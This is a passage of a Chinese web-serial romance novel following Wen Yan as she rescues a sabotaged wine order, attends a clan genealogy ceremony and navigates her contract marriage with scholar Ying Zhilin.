泰王孙一眼看见站在堂屋门口的闻颜。 他欢快地跑向她。 待他跑到檐下,就看见堂屋里坐着的白夫人。 他的身体比脑子快。 猛地刹住脚步,调头就跑。 “容哥儿,来都来了,你跑什么?”白夫人带头笑意说道。 泰王孙姬容只得停下来,蔫头耷脑地转过身,蹭步进了堂屋里,对着白夫人行了一个礼:“白祖母。” 看来,泰王孙很怕孟家人啊! 之前怕孟迟飞,现在怕白夫人。 “哟,你刚才不是挺高兴的吗?现在怎么蔫了?难道是不想看见我?” 泰王孙把头摇得像拔浪鼓:“没有没有,是……是我把礼物放在马车上了,我回去拿。” 白夫人接着问:“是谁让你过来的?你祖父知道吗?今天的课业学完了吧? 你闻颜姐姐的夫君是解元,我家迟飞将来的夫君,也不能比这个差。” 泰王孙一听,粉雕玉琢的脸,顿时愁得像吃了苦瓜。 他朝闻颜投去求救的眼神。 闻颜望天,什么都没看见。 不过,义母刚才的话是什么意思? 莫非姬容这个小逗丁,还想娶迟飞姐姐不成? 可他才七岁,迟飞姐姐十九岁,两人之间差了整整一轮! 怎么想,都是小孩子的稚气话,闻颜想一想,就抛诸脑后。 没一会儿,梧桐书院的客人就来了。 闻颜与应知林一起接待。 随着时间推移,客人越到越多。 应知林就将男客引去祠堂那边,宅子这边就只接待女客。 白夫人见闻颜忙不过来,便朝她摆摆手:“你自去忙,我和你祖母说会儿话。” 闻颜想了想,把应知海叫来,让他带着泰王孙一起玩耍。 乡绅、富商都陆续来了。 乡绅从旁人的聊天当中,得知镇国将军府、泰王府都来了人,连忙叫来小厮,进城去通知县令和县丞大人。 应家从未这般热闹过,闻颜身边有青禾、立夏两个得力干将,一切都忙而不乱。 全村都喜气洋洋,唯独老应家的人不高兴。 他们隔着半个村子,都能听见应家传来的欢声笑语。 同时,他们心里也惴惴不安脸。 那日被带回来后,应族长没有即刻处理他们,而是时时派人盯着。 除了家里、地里,别的地方一律不许去。 这种悬而未决的感觉,快要把他们逼疯。 再有半个时辰,保护神仪式就要开始。 大虎哥突然跑来找闻颜:“青山哥进城拉酒还没回来。” 青山是应族长的长孙,早上被族长派去县城拉酒水了。 “怎么回事?可是路上出了意外?牛车坏了吗?” “我也不清楚,青山哥还没回来。我娘一直记着酒水的事儿,心里不踏实就叫我来跟你说说。” 闻颜想了想,对大虎哥道:“不行,这件事我得亲自跑一趟,大虎哥你等我一会儿。” 闻颜回屋跟白夫人和青禾、立夏交待一声,便牵了两匹马,和大虎哥朝县城疾驰而去。 松山村离县城不算远,快马加鞭不到一盏茶的功夫就到了。 大虎哥带路,很快就来到县城最大的‘苏记杂货铺’。 抬头看了一眼杂货铺的招牌,闻颜的眉头轻轻一皱。 她刚要抬脚往里走,就听见铺子里传来青山哥急切恳求的声音:“老板娘、须妹子,你再派人催一催酒吧,都午时了还没到。 当初不是说好了,我们今儿辰时就能提货的吗?” 老板娘无奈说道:“你再等等。我已经派人去催过三四次了吗? 酒坊那边有事耽搁了,你催我也没办法啊! 你真要这么急,直接去跟酒坊买好了。” 当初他们本就打算去酒坊买的。 让老板娘听见了,就自告奋勇的说跟酒坊有合作,他们去拿酒更方便。 想到老板娘跟应知林曾经的关系,便同意了。 谁知老板娘在关键时刻放他鸽子。 闻颜抬步走进去,就看见青山哥被噎得脸红筋涨。 青山哥几乎是用央求的语气道:“今天是知林的好日子,没有酒水岂不是要搞砸了?就算看在当初的情分上,你也不忍心看他在好日子里出丑的吧!” 老板娘露出着急难受的表情,嘴角不受控制地上扬,却暴露了她的真实情绪。 上次老板娘莫名其妙针对自己,原来是为了应知林! 或许,老板娘一开始就抱着让应知林出丑的目的。 “到底是酒没送来?还是你们根本就没订酒?”闻颜走到青山哥旁边,定定看着老板娘,质问道。 老板娘看见闻颜,眼中闪过厌恶。 “这位千金小姐,你别站着说话不腰疼,你以为生意是这么好做的吗? 你要是这么有本事,自己去订酒水好了,干嘛求到我面前来。” 青山哥当即就要护着闻颜。 却被闻颜制止。 她看着老板娘道:“我们卖酒?有酒票吗?拿给我看,否则我去县衙举报你们,卖私酒。” 大庸朝的酒水管理很严格,普通商户想拿到酒票非常艰。 一旦被举报,又少不得大出血。 老板娘真怕闻颜去举报,当即就拿出酒票副券,让闻颜隔着柜台看。 闻颜忽地夺过酒票,确认之后,她问应青山:“青山哥,你可知苏家老板住在何处?” “知道。” “你们想干什么!把酒券还给我!”老板娘预感孬,尖叫着,想夺回酒券。 闻颜后退一步躲开,转身就往外走:“带我过去。” 闻颜才懒得管她和应知林到底有什么恩怨。 有人敢践踏她的面子,她定要数倍奉还。 第288章:随机应变 老板娘猜到闻颜要干什么,瞬间五雷轰顶。 当即追出来,却只看见马屁股消失在街角的身影。 她急得吩咐小二把店看好,就追了出去。 不时,闻颜三人就到了苏记老板家中。 “敲门。”闻颜坐在马上,吩咐道。 大虎哥立即跳下马,上去把门敲得震天响。 巨大的敲门声,很快就将四邻吸引过来。 院门也在此时从里面打开。 一位头发苍白的老妇人,紧张地看着大虎哥:“你……你们找谁?” “这里住的可是苏记杂货铺的东家?” “那是我儿子,你们……” “把他叫来,有事叫他。”大虎可虽然一脸憨厚,但他身强力壮,说话声音一大,就很吓人。 老妇人吓得腿软,正要回去叫人,一个眼圈青紫,模样普通的男子就走了出来。 他心疼地扶住老妇人,朝大虎哥拱拱手,语气却带头埋怨:“诸位,有话好好说。” “你们店大欺客,还有什么好说的。”闻颜冷声道。 老板这才看见闻颜,他先是打量一圈闻颜衣着,心中有数之后,声音都软和了许多:“这位夫人,最近我一直在外进货,可是小店有招待不周之处,你尽管说出来,我一定尽力补偿。” “你当我需要一个小小杂货铺的补偿?” 老板心里咯噔一声,终于意识到事情不简单,再次询问理由。 闻颜对青山哥使了个眼色。 青山哥便将事情讲了一遍,还拿出了订货单。 老板听后,先是不可置信,还为他的妻子,也就是老板娘辩解。 说她平时很是和气,这其中定有误会。 还想将问题推到酒坊。 忽然,他想到什么,多问了一句:“请问,订货的客人姓什么?” 青山哥冷声道:“姓应,是本届解元。这次的酒,也是订来给解元老爷办酒水席的。” 老板脸色一变,脸上闪过一抹愤怒。 但他很快压下情绪,拱手道歉。 闻颜不耐烦地打断他:“别整这些虚头八脑的,两刻钟后,我们订酒没送到,你们杂货铺以后都别想再卖酒。” 闻颜晃了晃手中酒票,扯着缰绳,离开了此处。 老板朝巷子拐角处瞪了一眼。 拐角处磨磨蹭蹭走出一个妇人,正是杂货铺的老板娘。 老板扶着老妇人回了院子。 老妇人拉着老板的胳膊:“是不是须娘做错了事?有话好好说,你别凶她。” 士农工商,是无法逾越的鸿沟。 妻子此举,差点害死全家。 老板回到房间,冷着脸快速换衣,出去补救错误。 老板娘蹭到房门口,弱弱唤了一声:“夫君。” 男人连头都没回,冷声道:“说吧,为什么要这样做?” 老板娘咬着嘴唇不回答。 男人也不逼问。 换好衣服之后,就大步往外走。 老板娘突然一把拉住男人的手,她泣声央求道:“夫君,不要。” “不要什么?”男人回头,声色俱厉,“你不把我弄得家破人亡,不甘心是吧!” 老板娘委屈得直抹眼泪。 “我知道,你一直嫌弃我是商户。”男人深吸一口气,“既然你这么放不下姓应的,那就去找他吧,我这间小庙容不下你那惊天动地的爱情。” 说完,他便甩开老板娘,牵出自己家的骡子,朝酒坊而去。 闻颜离开后,并未直接回松山村,而是去县城最大的酒楼。 进店后,闻颜直接道:“我有笔大生意叫你们掌柜谈。” 闻颜一身锦衣,店小二便以为他是来订席面的,不敢怠慢,立即将掌柜叫来。 “你们店最好的酒,我要二十坛。” 闻颜说的一坛是二十斤装的。 掌柜:“……” 闻颜:“没有吗?” “不是,有有有,只是我店里只有五坛,剩下的十五坛要去酒窖搬,可能没那么快。” “那就先给我四坛,剩下的,你两刻钟送到就好。”闻颜和大虎哥先带着四坛酒回去,把青山哥留下运送最后的酒水。 闻颜带着酒回到松山村。 刚进村子,就看见应知雪正四处找她。 见她骑马回来,当即就怒气冲冲地埋怨:“拜托,大家知道你会骑马,但也没必要在这个时候出去兜风啊! 想展现本事,也得分清场合啊!” 闻颜把缰绳交给大虎哥:“剩下的就麻烦你了。对了,大虎哥你注意着点,苏记杂货铺的老板送酒来,先别收。” 大虎哥知道这事没儿没完,点点头,牵着马先把酒送去宗祠。 闻颜这才问青禾:“什么情况?” “宗祠那边祭祀就要开始了,应族长找你。” “我知道了。对了,祭祀有观礼的人吧,都请了谁?” 青禾言简意赅地说完。 除了应氏宗亲,姻亲,还特地请了白夫人和泰王孙。 闻颜问:“应知林的外祖母呢?” “没有请。” 闻颜想了想,道:“你去找一顶软桥,把外祖母和祖母一起抬过去。” 祖母,便是五婆婆。 “若是族长问起来,就说是我的意思。他们若是有意见,就须得把我义母一起请出来。” 没道理我的义母都请去观礼了,应知林的嫡亲外祖母,和祖母却不能去。 青禾并未多说,点点头就去执行。 闻颜简单收拾了一下衣冠,这才朝祠堂而去。 她刚到祠堂,应知林就发现了她。 “你去哪儿了,怎么风尘仆仆的?”她虽然简单收拾了一下,应知林还是一眼看出不同,并细心地将歪掉的珠钗扶正。 “酒水出了点问题,我去县城解决了。”闻颜简单说道,“你们找我有何事?” 祭祀到中半段,闻颜就知道,他们为何要找自己了。 她从一开始,就被允许进祠堂观礼。 “闻氏之女颜,请上前来。”站在白夫人身后观礼的闻颜,突然被点到名字。 闻颜有点茫然。 白夫人拍了拍她的手:“去吧。” 闻颜只得走到应知林身边,以眼神询问他怎么回事? 应知林不答,只是给她一个安抚的眼神。 闻颜张了张嘴,什么都没说,就闭上了。 算了,一会儿随机应变吧。 第289章:移出族谱 应氏原本也是本地大族。 松山村只是众多分支之一。 考中举人,也算半只脚踏入官场,主脉那边便派了个,辈份大,却只有三十多岁的管事过来。 不算多重视,但也不算冷落。 此刻,庄严的祠堂里,香火两旁,那两位管事便在其中。 两人穿锦戴玉,皮肤白皙,一看便是养尊处优的。再加上他们下巴上扬,神情高傲,一副鼻孔里看人的姿态。 站在其他族老当中,很是惹眼。 两人对祭祖时,单独叫一个女人出来,颇有微词。 应族长在这穷乡僻壤待久了,人也糊涂没见识了? 若非白夫人和泰王孙在一旁观礼,且二人都是此女客人,且对应族长此举很是支持,他们早就出声反对了。 闻颜以为,自己会被耳提面命一番,让她以后事事以应知林为先,好好辅佐他之类的。 没想到,应族长当着众人的面,夸她品行高洁,持家有道,心地善良,应家以有她这样的宗妇为荣。 又亲自递香,让她拜祖宗。 主脉二人终是忍无可忍,强压着脾气,阻止道:“你这样做是不是太草率了?” 应族长笑道:“当初分家时,族规有说,若非累及全族的大事,分支可自行做主。”所以,闭嘴吧你们俩,好好观礼就行! 主脉的人噎住,一脸不悦地闭上了嘴。 随后,应族长还给应知林和闻颜在族谱中单开一页,二人名字并列。 这对普通宗妇来说,是极大的认可和荣耀。 闻颜却吓得倒吸一口气。 朝应知林使眼色,让他赶紧阻止。 她只想安分当几年应夫人,时机一到就和离,恢复自由身。 如今搞得这般隆重,他未来真正的妻子要如何自处? 事事都要被旁人拿出来比较,一辈子被‘前妻’压一头,活在‘前妻’的阴影当中。 然而,她的眼睛都眨抽筋了,应知林也没懂她的意。 还轻拍她的手背,让她稍安勿躁。 闻颜:“……” 稍安勿躁你大爷的! 算了,反正以后吃的不是自己。 写完族谱,应族长还拿闻颜竖典型,激励族中其他妇人,只要品性好,做对族中有益的事,也能获得像闻颜一样的待遇。 不少妇人听得热血沸腾,摩拳擦掌的想要大干一番。 “趁着今日开祠堂,族老们都在,便将另一件事,一并处理了吧。”办完闻颜夫妻的事,族长脸色忽地一肃,接着道:“还不把人带上来吧。” 随即,就见几个族中青年,将老应家的人全部押了进来。 老乔氏凶狠地瞪了闻颜一眼。 自己上次进祠堂,还是几十年前,刚嫁入应家时。 闻颜嫁进来不过半年时间,虽是第一次进祖宗,却如此声势浩大。 还有族长为他保驾护航,这可是她这个祖母都没有的待遇! 闻颜凭何有此殊荣? 他直视之际,前方突然传来一声厉喝“乔氏,你可知错!” 乔氏吓得一激灵,抬头看去,只见所有族老都疾言厉色地看着她。 她心下害怕,眼珠子溜溜一转,忽然冲到主脉的二位代表面前,跪在他们面前,抱住他们的衣角一阵哭诉。 “能做好谁,谁又愿意当恶人呢? 这这么多年我都是故意扮演当恶角色,就是为了督促应知林成才啊! 如今他中了举人,我没了作用,你们就我碍手碍脚了吗?” 乔婆子反应倒是快,哭得一把鼻涕一把泪,若是不知内情,定会觉得她可怜。 “你倒是会倒打一耙。”应族长差点被她气笑了。“你当这些年的所作所为别人一无所知?” 族长当即便将她这些年的恶劣行径一一道来。 主脉的人听得直皱眉,扯回自己的衣角,退避三舍。 “我们应氏一族要不起你这样的恶妇,今日我就以族长之责,处置你。” “你想休了我?”乔婆子脸色一白,神情激动地道,“你不能这样对我!我为老应家生儿育女,延续香火,我还供出养一个举人,你凭什么休我!” 她都一把年纪了,若是被休,会成为十里八乡的笑话不说,她也无处可去。 她的爹娘早就去世了。 两位哥哥年纪大了,需要靠儿子奉养。 她又与两位嫂子不和,那些侄子,绝对不会收留她这个姑姑。 应族长神情威严地道:“我念在你年纪大,确实替族弟生儿育女,不会替死去的族弟休妻,你以后还是孩子们的娘。 但我以族长的名义,将你从族谱除名。” 乔婆子如遭雷击,失声尖叫:“这简直比休妻还恶毒!我不同意!我不要被除名。老东西,你想害我死后都不得安宁!” 从族谱除名。 死后不能与丈夫合葬,更不能进应家祖坟。 她死后无依无靠,定会被别的孤魂野鬼欺负。 主脉的人,却觉得族长优柔寡断,这样的恶妇不仅要休,还要将她的孩子们全部逐出族谱。 乔婆子同不同意根本不重要。 应族长毛笔一挥,她的名字就从族谱上划去。 乔婆子哭闹不止。 “还不把她带走?就任由她在这里发疯吗?”族长看向乔婆子的两个儿子。 应老大和应老三连替她求饶都不敢,扶着乔婆子就往外走。 就在这时,一直低头跪着的胡有珠,突然冲到应族长面前,苦苦哀求:“族长,救您作主,把我儿其正也分出去吧。我儿也是棵读书的好苗子,不能让家庭拖累了啊!” 应其正读书确实不错,跟应知林关系也好。 乔老三吓坏了。 连忙冲进来拉走胡有珠。 “走开!”胡有珠一把甩开他,“你不为儿子着想,但是也别拦着我为儿子争取。” 应族长看了胡有珠一眼,淡声问道,“你说家里拖累其正,你举几个例子让大家一起帮你作主。” 胡有珠张了张嘴,努力半天,才说不出一件事情来。 说白了,胡有珠是害怕。 她亲眼见证了,乔婆子如何对应知林,以及爹娘敲骨吸髓。 她害怕应其正成为下一个应知林。 自己成为下一个焦丽娘。 第290章:跳井 应其正连忙跪到胡有珠身边,求情道:“族长爷爷,是我娘最近压力过大,想岔了。我家里没有对我不好,这个家我们不分了。” 族长看了一眼应其正,对胡有珠道:“既然你举不出实例,那么分家就是你们的家务事。 你们兄弟回家商量好,我自会为你们主持。” 胡有珠的为人,应族长不作评价。 应其正在老应家可没吃过亏。 总不能好处要占,力一点不出吧! 祭祀礼很快结束。 应知林护着闻颜往外走。 她在攒动的人影里,看见一个枯瘦的身影有些眼熟。 她想确认时,已经不见踪影。 闻颜只得作罢。 离开宗祠,她正要问应知林,刚才为何不帮她拒绝,立夏就来找她,说,“杂货铺的人,送酒水过来了。” “酒楼的酒送过来了吗?” “已经搬进库房了。” “那应让杂货铺的老板等着吧,马上就要开席,我忙得很。” 闻颜吩咐完事情,再找应知林说事,身边哪里还有他的了影子。 早就溜走了。 闻颜去灶房逛了一圈,发现有代婆婆主持大局,凡事都井井有条。 闻颜便放心回了自家宅子。 女客都会在那边用饭,她得回去主持大局。 她和立夏、青禾往回走,一路上言笑晏晏。 忽然,闻颜有种被人窥视的感觉。 她顺着感觉看过去,什么都没发现。 立夏发现她的异常,问道:“小姐?怎么了?” 闻颜摇摇头,“没什么,可能是我看错了。” 三人继续往前走。 粮食地时在,黄莺儿看着远去的闻颜,原本还算漂亮的一张脸,已经气得扭曲起来。 “为什么?为什么别人都可以,唯独自己不行? 闻颜能对别的妾室和颜悦色,说说笑笑,和平相处。 对自己却是横眉冷对,处处刁难排挤? 所以,应知林不是不想纳妾,只是不想纳自己。 闻颜也不是容不一妾室,只是容不下自己。 这对夫妻,太恶毒了!” 黄莺儿捏紧了腰间的荷包:“既然不能一起风光荣耀,那就一起去死吧!” 她顺着稻田,就朝闻颜家的宅子而去。 去观礼的女神,已经跟着白夫人回到闻颜的宅子。 闻颜招呼一番,就先去库房看看。 他们刚靠近,就见库房门口人影闪动。 闻颜这次看真切了,真的是她! “黄莺儿!”闻颜唤了一声。 人影受惊,慌张溜走。 闻颜回来之后,自然听到那些纳妾流言。 黄莺儿对应知林用情至深,若是听到这些,不知有多伤心。 她敏感脆弱,若是信以为真,恐怕会想不开,作出傻事。 闻颜忙对立夏道:“你快去把她追回来。” “是。”立夏立即追了出去。 青禾不解道:“小姐,你对黄莺儿真不错。” “黄莺儿与应知林青梅竹马,我自当是要成全他们的。”闻颜小声道,“一旦为妾,终身便是妾了。 只要黄莺儿有耐心,等得起,等我同应知林和离,她便能风风光光嫁给应知林当正妻,不比现在就挤进来当个妾好?” 只要她愿意,我也可以把她带在身边调教三四年。 保证她将来,能当一个合格的官家夫人。” 一墙之隔的库房内,应知林抱着一坛酒,将门外的对话听得一清二楚。 听见闻颜如此干脆随意地说着和离,帮他调教妻子。 应知林气得红了眼眶。 闻颜竟对自己一点情况都没有。 是她不喜欢自己的长相? 还是自己的身材不够诱人? 还是她嫌弃自己学识太低,家世太差? 前者他没办法人。 但后面两项,他可以努力的。 他可以考会元,考状元,当官之后努力干政绩,给她争个一品诰命。 他越想越委屈,眼泪都快出来了。 屋外,青禾不曾重生,自然不懂闻颜的决定。 青禾问道:“小姐,难道你对姑爷就没有一点动心吗?” 闻颜摇头。 青禾问:“为什么? 姑爷除了家世差些,其实各方面都不错。 长得俊,身体好,本次拿了解元,明年应该能考中进士。 关键是,他对您的事,都很上心。” “有吗?”闻颜蹙眉。 “当然有啊。您常年在外奔走,不知姑爷的用心,我们在这里住了一个多月,把事情看得真真的。 小姐您不知道……” “吱呀”一声。 库房门的从里面打开。 就见应知林抱着一只酒坛站在内门。 背后议论人,还被抓个正着。 青禾心虚地低下了头。 闻颜直直看着他,笑得很是和气:“你过来搬酒?” “是。”应知林也是一副泰然自若的神情,“我拿酒过去,供奉祖先。” “快去吧。”闻颜让出一条道,让他先走。 应知林点点头,与她擦身而过之际,忽地停了下来。 他转身看着闻颜道:“刚才青禾的话,我务必要解释一下。 你不在家的时候,我确实帮你处理了很多小事。 但那只是因为,我们还在夫妻期内。 你出钱供我读书,帮我养家人,我岂能坐享其成,什么都不表示? 我记得你说过,这叫互利互惠。 我希望夫人不要因为别人的几句话,就对我生出不该有的心思。” 应知林这算是在提醒闻颜,他是公事公办,让她不要因为他的体贴就生出不该有的心思。 以前都是她这样提醒应知林,没想到这次反过来了。 闻颜整个尬住。 她保证自己不会的同时也松了一口气。 她也不想成婚半年就和离。 只要应知林没那个意思,这合作关系就还能处! 应知林见她防自己就跟防贼一样,心里就跟吃了酸黄瓜一样。 酸楚、堵心。 他一转身,眼眶又不争气地红了! 应知林走远。 青禾吐了吐舌头:“小姐,我是不是说错话了。” “没关系,只是正常讨论。”闻颜去库房里转了一圈,没有发现异样,她就找人把酒水全部搬了出去。 女客这边留两坛,其余的全部送去宗祠,让专门的人看着。 立夏对松山村不熟悉,很快就跟丢了黄莺儿。 黄莺儿本想去投毒,应知林里在仓库,她没能得逞。 连拉着厌恶的人下地狱都做不到。 黄莺儿心灰意冷,路上经过一口水井。 她在井边呆坐了一会儿,便毫不犹豫地跳了下去。 第291章:又怂又勇敢 流水席开了一整天,直到天色黑尽,客人都吃过晚饭才结束。 闻颜站在家门口送客。 泰王孙根本不想走,拉着闻颜的手恋恋不舍:“闻颜姐姐,你什么时候再去京城?到时一定要来看我哦!” “好,到时候我给你送好吃的点心。” 泰王孙伸出一根小手指:“拉勾上吊,不来的人就是小狗。” 闻颜跟他拉勾,又哄好一会儿,也不肯上马车。 白夫人等得不耐烦,提着他的后衣领,就把人拎上了马车。 目送他们离开后,闻颜又安排留宿的客人。 其实,只有外祖母一行人留宿。 外祖母身体虚,禁不起来回折腾,再加上应知林和闻颜真诚挽留,他们才住下来。 应知林把外祖母安排在他的房间,闻颜叮嘱一番之后,就回自己的房间。 她已经累得腰酸背痛,腿肚子转筋。 她每走一步,脚掌都像撕裂一样疼。 她捶着腰,一瘸一拐地挪回卧房。 佩儿要进来服侍,闻颜摆摆手:“你们今天比我还累,先去休息吧,我这里自己能行。” “可是……” “那你提一地桶热水来就行了。” “好。”佩儿转身就去提水。 闻颜张开双臂,直接扑倒在床上。 “呜……好舒服啊!小命总算是回来了。”她在床上打了个滚,又抻了个腰。 她现在就想焊死在被窝里。 不一会儿。 佩儿吃力地提着一大桶水过来。 在门口碰上应知林。 应知林伸手去接水桶:“给我,你去休息吧。” 佩儿迟疑了一下:“还是我来送吧,您也辛苦……” “我不会越界,你放心吧。”应知林打断她未尽之言,就接过了水桶,进了闻颜的房间。 应知林关好门窗,又兑好洗澡水,这才去叫闻颜起来洗漱。 闻颜趴在床上,已经睡着了。 脸颊上的肉嘟起来,像一只贪睡的小仓鼠。 嫣红的嘴唇像熟透的樱桃,看着软软嫩嫩,引人品尝。 ‘咕噜’ 应知林咽下口水,别开视线。 “闻颜,起床洗澡了。”应知林摇醒她。 闻颜困迷糊了。 听见有道声音在叫自己,她就以为佩儿。 眼睛都没睁开,朝她伸出手:“拉我一把,我骨头散架,动不了了。” 应知林犹豫了一下,这才将她扶起。 闻颜顺着应知林的带领,来到屏风后的浴桶旁边。 闻颜张开双臂,要佩儿给她宽衣。 应知林怔了怔,终于没有趁人之危。 他直接把闻颜打横抱起,放进了浴桶里。 突然的悬空感和入水感,让闻颜彻底清醒。 这才看清旁边站着的人是应知林。 她深吸一口气,眼睛瞪得圆溜溜的,“多……多谢你了。” “不客气。”应知林脸颊发烫,转身离开了房间。 闻颜捂着脸埋进水里。 丢死人了! 应知林出了房门,深呼吸好几次,才平复好心情。 他又去了外祖母的房间,看看还有什么需求。 谁知外祖母已经睡醒了。 外祖母朝他招招手:“知林,陪外祖母说会儿话。” 应知林倒了杯水,才坐过去。 “外祖母,你今天感觉可还好?” 外祖母笑呵呵的:“好,能看见你高中,没有比这更好的了。” 应知林握着外祖母的手:“您要好好保重身体,我还要考进士,考状元,将来还要当官。您要替外祖父亲眼看着。” “好,我一定好好活着。”外祖母乐呵呵的笑着,但很快,脸上又露出愁容。 她朝门口看了一眼,压低了声音问,“你和小颜是怎么回事?你们怎么还分房睡啊? 还是你惹人家生气了? 我观察了一天,小颜知情达理,温柔善良,长得也漂亮,这样的女子可遇不可求,你可要对她好一点,千万别把人气跑了。” 应知林倒想是吵架。 他安抚道:“没有生气,我跟她关系很好的。是我要参加科考,她怕我读书分心,特地分房睡的。” “当真?”外祖母还是有些不信。 “当然是真的。外祖母您不信别人,难道还不信我吗?” “我信你。”外祖母说着,就咳嗽起来。 “外祖母,您先喝点水。”应知林连忙将人扶起来喂水。 外祖母把一杯水喝光,才将咳嗽压下去。 应知林心疼又担忧,提议道:“外祖母,我成家了,您就搬来我们一起住,让我照顾您,尽尽孝心吧。” “你才刚成亲,小两口正是培养感情的时候,我不能打扰你。”外祖母坚决不同意,“再说了,你每个月都给表舅家里三百文生活费,他们对我很好的。” 应知林的眼圈却红了,“我爹娘都不在了,亲祖母那边,您也听见是怎么对我的了。我就只有您一个血脉相连的长辈了,您别让我终身抱憾好吗?” 面对诚恳的应知林,外祖母不忍心立刻拒绝他,只好拖延道:“你让我再想想。” “那您早些休息。”应知林退出了房间。 他想了想,又敲响了闻颜的房门。 “进来。”屋里传来闻颜的声音。 应知林推门进去。 闻颜披好外衣,问他:“还有什么事?” 应知林指了指窗边的美人榻:“我的房间给外祖母住了,我能在你这儿借住一晚吗?” 闻颜爽快地同意了,他们又不是没在一个房间住过。 他们还睡过一张炕呢! 应知林勾唇浅笑,自己去闻颜的柜子里拿盖被。 就听见闻颜‘嘶’了一声。 应知林回头,就见闻颜在给自己按腿。 她今天走太多路,腿都僵肿了,如果不按通顺,明天就会腿疼。 应知林几步走过去,坐在床沿:“你自己不方便,我来帮你吧。” 说着,他托住了她白皙纤细的腿。 应知林的手掌宽大、掌心温暖。 他先按压穴位,再顺着筋络往上推。 应知林的手很有力,刚推两下,闻颜就痛得惨叫一声,腿也直往后缩:“好疼!” 闻颜一边泪眼花花,一边让应知林不要停:“现在不疼,明天就会疼。长痛不如短痛,你只管按……” 应知林哭笑不得。 她当真是又怂又勇敢,可爱得不得了! 应知林趁着按腿的时候,说起想留外婆住下的事:“你放心,以后的家用我会准备的。” “卖那些猫戏图换铺子吗?”闻颜打趣他,“与其把画便宜别人,不如你直接卖给我好了!” 第292章:她是你惹不起的人 闻颜垂涎那些猫戏图好久了。 虽说,作为合作交易,她负责全家生活开支合情合理。 但应知林愿意为家付出,闻颜岂会拦着。 闻颜答应得如此爽快,在应知林预料之中,意料之外。 闻颜本就心地善良,对老弱病残更多一份关爱。 此时。 县城。 苏记杂货铺。 苏老板失魂落魄地,赶着一辆酒坛停在门口。 店小二立即迎了出来:“老板,怎么这么多酒……” “全搬到店库房里去吧。”苏老板吩咐。 满满一车酒。 五十斤每坛,总有九坛,四百五十斤酒,一年半载都卖不完! 店小二呲了呲牙,但是认命地开始搬运。 老板娘须氏听见动静,欣喜地跑出来:“夫君,人回来了!” 苏老板像是没听见须氏的话,呆呆地走进店里。 他的脑海里,全都是今天应家看见的人物。 除了全县的乡绅富户、县令、县丞,甚至还有京城来的大人物。 听说,一位是镇国将军的夫人,是闻颜的义母;一位是泰王孙,叫闻颜姐姐。 闻颜晾了他小半天,最后把酒票还给他,让他好自为之。 他都是浑浑噩噩回来的。 他现在无比庆幸,闻颜宽宏大度,放自己一马。 须氏看见满车的酒坛,她瞬间炸了。 跑回店时在,质问苏老板:“那些酒怎么回事?你不是送去应家了吗?怎么又拉回来了?难不成他们临时变挂,不要酒水了?” 苏老板还是不说话。 须氏气得在原地转圈,嘴里不住的抱怨。 先是抱怨应知林和闻颜心思恶毒不当人,明明都把货送上门了,却反悔不要,这不是故意整他们吗? 随后又抱怨起苏老板。 根本不该搭理闻颜,现在好了吧。几百斤酒砸在手里,要卖到猴年马月去! 须氏越想越不是滋味,当即就鼓动苏老板:“明天一早,我们就把东西送回去。 不是我们不给供货,是他们自己不要,损失不该我们来承担。” 丢了魂的苏老板,猛地看向须氏:“你在说什么?” 他的眼神冷冰冰的。 须氏第一次见到他这副样子,吓了一跳,往后退了两步,嘟囔出声:“你干嘛这副眼神看我?” 苏老板忽然走近,问她:“须铃,既然你从始至终心系应知林,当初为何要嫁给我!” 须铃目光闪躲。 “说啊,看着我的眼睛,告诉我。”苏老板掐着她的脸,陡地拔高了嗓门,大声质问。 成婚四年,她头一次见他发这么大的脾气。 吓得身体一抖,眼睛瞬间滚了出来,看着楚楚可怜。 放在以往,夫君早就会温柔地哄她了。 今天他却什么都没做,目光直愣愣地盯着她。 须铃知道,这一关自己躲不过去了。 她抹掉脸上的泪,终于直视着他:“对,我一直喜欢他,我从小就喜欢他。 可他不争气,先是死了爹,好不容易要出孝期了,他娘又没了。我已经十七了,再陪他守孝三年就二十了,我能等,我也愿意等。 可是我爹娘等不了。”越说,她的眼泪就掉得越快。 苏老板连连冷笑,松开了她:“所以,你们就找上了我?我这个冤大头很好用是吗?” “不是……夫君你听我说。嫁给你之后,我有想过要跟你好好过日子的,否则我也不会跟你生下元宝。 你相信我夫君!” “那今天你在做什么? 还有半年前,她来店里买碗,你为什么要故意找茬? 这就就是你说的好好过? 您要我怎么相信你?” “我……我现在已经不喜欢他了。我只是气不过……” “是气不过还是嫉妒?” 苏老板毕竟是商人,眼光毒辣,句句说中痛处。 须铃一时说不出话来。 “你有什么资格气不过?当初退婚的人是你们,你如今又在不甘些什么?”苏老板满是嘲讽地,说得须铃无地自容。 苏老板又警告她,“还有,以后不要再去招惹应家人,特别是应知林的夫人,最后是见到她就绕道走。” “你让我躲着她,凭什么?” “凭什么?知道今天的宴席上,都来了什么人吗?除了县令、县丞……” 须铃心想,别说是举人,就算是县里秀才中举,只要办酒席庆祝,他们也是会去的。 只听丈夫接着道,“将军夫人,王孙公子,那些是连县令县丞都要讨好巴结的。他们动动手指,就能让我们家破人亡。” “你但凡为元宝着想,不想让他穷困潦倒,衣不蔽体,吃了上顿没下顿,你最好离他们远远的。 还有,从明天开始,你就回乡下老宅去吧,店里不用你帮忙了。” “你……你这是什么意思?”须铃心慌不已。 “难不成,你还让我乐呵呵的把这顶绿帽戴一辈子?安分一点吧,别让我动休妻的念头。” 苏老板说完,甩开她就走了。 须铃双腿发软,跌坐在地上。 与此同时,县令和县丞,也在各自家中,跟自己的妻子说起这件事。 县令夫人不以为意:“闻颜嘛,她的事京城人尽皆知。 孟家要是真的在意她,怎么会让她嫁给一上乡下的穷酸秀才? 至于泰王孙,又不是泰王的意思。 小孩子都是三分钟热度,用不了几天就把她忘了。 我父亲说了,你只好好做出政绩,让他家看见你的能力,他自然会为提拔你的。” “男人嘛,是要捏在自己手里,才会乖乖听话。” 县丞夫人却是完全相反的态度:“我听说,应知林很得梧桐书院的季山长赏识,不看僧面看佛面,朋友多了路好走。结交一下,总是没错的。” 县丞点点头:“我跟你想得一样。” 翌日。 闻颜家中。 全家聚在一起吃早食。 应知林便说起,让外祖母搬过来住的事。 应知雪撒娇劝说:“外祖母,您就搬过来一起住嘛,一起住嘛!” 哼,等外祖母来了,看闻颜还怎么欺负自己。 应知海也扑进她怀里:“小海一天都不想跟外祖母分开。外祖母不疼小海了吗? 小海又变成没人要的孩子了吗? 小海难受受。” 应知海打滚撒娇,外祖母都被他磨得心软,但也没有松口。 第293章:借势敛财 闻颜看得出来,外祖母不是不想搬过来同住。 